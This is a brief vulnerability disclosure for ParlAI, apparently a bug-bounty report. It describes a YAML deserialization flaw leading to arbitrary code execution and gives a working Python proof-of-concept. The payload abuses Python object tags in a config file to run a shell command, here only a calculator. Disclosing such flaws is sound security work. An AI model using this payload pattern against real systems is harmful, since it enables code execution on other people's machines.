Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution
